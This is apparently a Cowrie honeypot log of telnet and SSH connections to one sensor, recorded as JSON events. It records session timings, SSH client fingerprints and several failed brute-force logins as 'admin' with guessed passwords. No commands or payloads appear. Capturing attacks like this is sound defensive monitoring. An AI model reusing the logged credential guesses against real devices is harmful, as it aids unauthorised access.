{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":49044,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d06a440a0bf","protocol":"telnet","message":"New connection: 216.137.181.119:49044 (159.203.135.109:23) [session: 3d06a440a0bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:04.496775Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":49062,"dst_ip":"159.203.135.109","dst_port":23,"session":"50389e44cb06","protocol":"telnet","message":"New connection: 216.137.181.119:49062 (159.203.135.109:23) [session: 50389e44cb06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:04.508320Z"}
{"eventid":"cowrie.session.closed","duration":30.642752647399902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:04.532601Z","src_ip":"137.220.54.231","session":"559808d88266","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":40746,"dst_ip":"159.203.135.109","dst_port":23,"session":"414aa71ed5ae","protocol":"telnet","message":"New connection: 137.220.54.231:40746 (159.203.135.109:23) [session: 414aa71ed5ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:06.165441Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":50790,"dst_ip":"159.203.135.109","dst_port":23,"session":"c96ff8483015","protocol":"telnet","message":"New connection: 216.137.181.119:50790 (159.203.135.109:23) [session: c96ff8483015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:06.242091Z"}
{"eventid":"cowrie.session.closed","duration":30.994619131088257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:11.112671Z","src_ip":"137.220.54.231","session":"b656894c637d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.999577283859253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:13.154733Z","src_ip":"137.220.54.231","session":"5e52e0c410f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.808676719665527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:16.038524Z","src_ip":"137.220.54.231","session":"f4c9131e92bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78121852874756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:20.395391Z","src_ip":"216.137.181.119","session":"7b0d81b60008","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.898865938186646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:22.441161Z","src_ip":"216.137.181.119","session":"2156e2938a68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":41870,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d230616d924","protocol":"telnet","message":"New connection: 137.220.54.231:41870 (159.203.135.109:23) [session: 2d230616d924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:23.058733Z"}
{"eventid":"cowrie.session.closed","duration":30.751936435699463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:25.012795Z","src_ip":"137.220.54.231","session":"58b83565e775","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.183969736099243,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:25.411047Z","src_ip":"216.137.181.119","session":"c58291139aaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9440701007843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:26.055197Z","src_ip":"137.220.54.231","session":"45ff52b3e828","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74197793006897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:27.202923Z","src_ip":"216.137.181.119","session":"7274207a6612","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93098735809326,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:27.396966Z","src_ip":"216.137.181.119","session":"ab4b8fd0c278","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98865294456482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:28.219069Z","src_ip":"137.220.54.231","session":"93ad4808b954","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96959137916565,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:28.332372Z","src_ip":"216.137.181.119","session":"d42aa89565ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00050139427185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:28.346153Z","src_ip":"216.137.181.119","session":"5396db24d9d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.824917793273926,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:28.376122Z","src_ip":"216.137.181.119","session":"e0edcaf29a6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.649908781051636,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:29.169889Z","src_ip":"216.137.181.119","session":"9026fe3fd6eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87468719482422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:29.248845Z","src_ip":"216.137.181.119","session":"83f9dbdcf6d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.885616064071655,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:29.253515Z","src_ip":"216.137.181.119","session":"b539f44063d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.029518127441406,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:29.459095Z","src_ip":"216.137.181.119","session":"74526b68345d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01692008972168,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:30.374050Z","src_ip":"216.137.181.119","session":"db42d03fd603","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.531055212020874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:30.757278Z","src_ip":"137.220.54.231","session":"42d742d10365","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.45878267288208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:30.790748Z","src_ip":"216.137.181.119","session":"2f89de90fee3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78193974494934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:31.023819Z","src_ip":"137.220.54.231","session":"0053e17d29dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.975313663482666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:31.087834Z","src_ip":"137.220.54.231","session":"12b987b7239e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.321106910705566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:31.422248Z","src_ip":"137.220.54.231","session":"e886557a0399","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99183177947998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:32.342850Z","src_ip":"216.137.181.119","session":"d6abde02bfe2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.245205402374268,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:33.294056Z","src_ip":"216.137.181.119","session":"065a5cd8b9d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88512897491455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:34.296623Z","src_ip":"216.137.181.119","session":"916c771f41f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.767447233200073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:35.264101Z","src_ip":"216.137.181.119","session":"3d06a440a0bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93203353881836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:35.440060Z","src_ip":"216.137.181.119","session":"50389e44cb06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36646,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5119bac4f57","protocol":"ssh","message":"New connection: 159.203.92.129:36646 (159.203.135.109:22) [session: e5119bac4f57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:35.923979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:35.929301Z","src_ip":"159.203.92.129","session":"e5119bac4f57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:35.933691Z","src_ip":"159.203.92.129","session":"e5119bac4f57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"8888888888","message":"login attempt [admin/8888888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:35.950007Z","src_ip":"159.203.92.129","session":"e5119bac4f57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:36.958472Z","src_ip":"159.203.92.129","session":"e5119bac4f57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.126031637191772,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:37.357661Z","src_ip":"216.137.181.119","session":"c96ff8483015","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.567104816436768,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:37.732402Z","src_ip":"137.220.54.231","session":"414aa71ed5ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0054919719696,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:42.089449Z","src_ip":"176.29.26.223","session":"65a152eaaaba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00447916984558,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:44.938638Z","src_ip":"176.29.26.223","session":"1b64a769b959","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":36386,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a94442b9137","protocol":"telnet","message":"New connection: 137.220.54.231:36386 (159.203.135.109:23) [session: 0a94442b9137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:54.315668Z"}
{"eventid":"cowrie.session.closed","duration":31.297359943389893,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:54.356011Z","src_ip":"137.220.54.231","session":"2d230616d924","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60522,"dst_ip":"159.203.135.109","dst_port":22,"session":"d19661ea8ce6","protocol":"ssh","message":"New connection: 159.203.92.129:60522 (159.203.135.109:22) [session: d19661ea8ce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:47:20.429425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:47:20.433882Z","src_ip":"159.203.92.129","session":"d19661ea8ce6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:47:20.438295Z","src_ip":"159.203.92.129","session":"d19661ea8ce6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"8ik,*IK<","message":"login attempt [admin/8ik,*IK<] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:47:20.449851Z","src_ip":"159.203.92.129","session":"d19661ea8ce6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:47:21.457057Z","src_ip":"159.203.92.129","session":"d19661ea8ce6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.776464700698853,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:47:25.091973Z","src_ip":"137.220.54.231","session":"0a94442b9137","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54052,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bcb90d94480","protocol":"ssh","message":"New connection: 159.203.92.129:54052 (159.203.135.109:22) [session: 5bcb90d94480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:48:04.606635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:48:04.611560Z","src_ip":"159.203.92.129","session":"5bcb90d94480","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:48:04.615995Z","src_ip":"159.203.92.129","session":"5bcb90d94480","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"9ijn0okm","message":"login attempt [admin/9ijn0okm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:48:04.631570Z","src_ip":"159.203.92.129","session":"5bcb90d94480","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:48:05.639853Z","src_ip":"159.203.92.129","session":"5bcb90d94480","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38336,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c9d8a6a8213","protocol":"ssh","message":"New connection: 159.203.92.129:38336 (159.203.135.109:22) [session: 8c9d8a6a8213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:48:46.966344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:48:46.970965Z","src_ip":"159.203.92.129","session":"8c9d8a6a8213","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:48:46.975720Z","src_ip":"159.203.92.129","session":"8c9d8a6a8213","protocol":"ssh"}
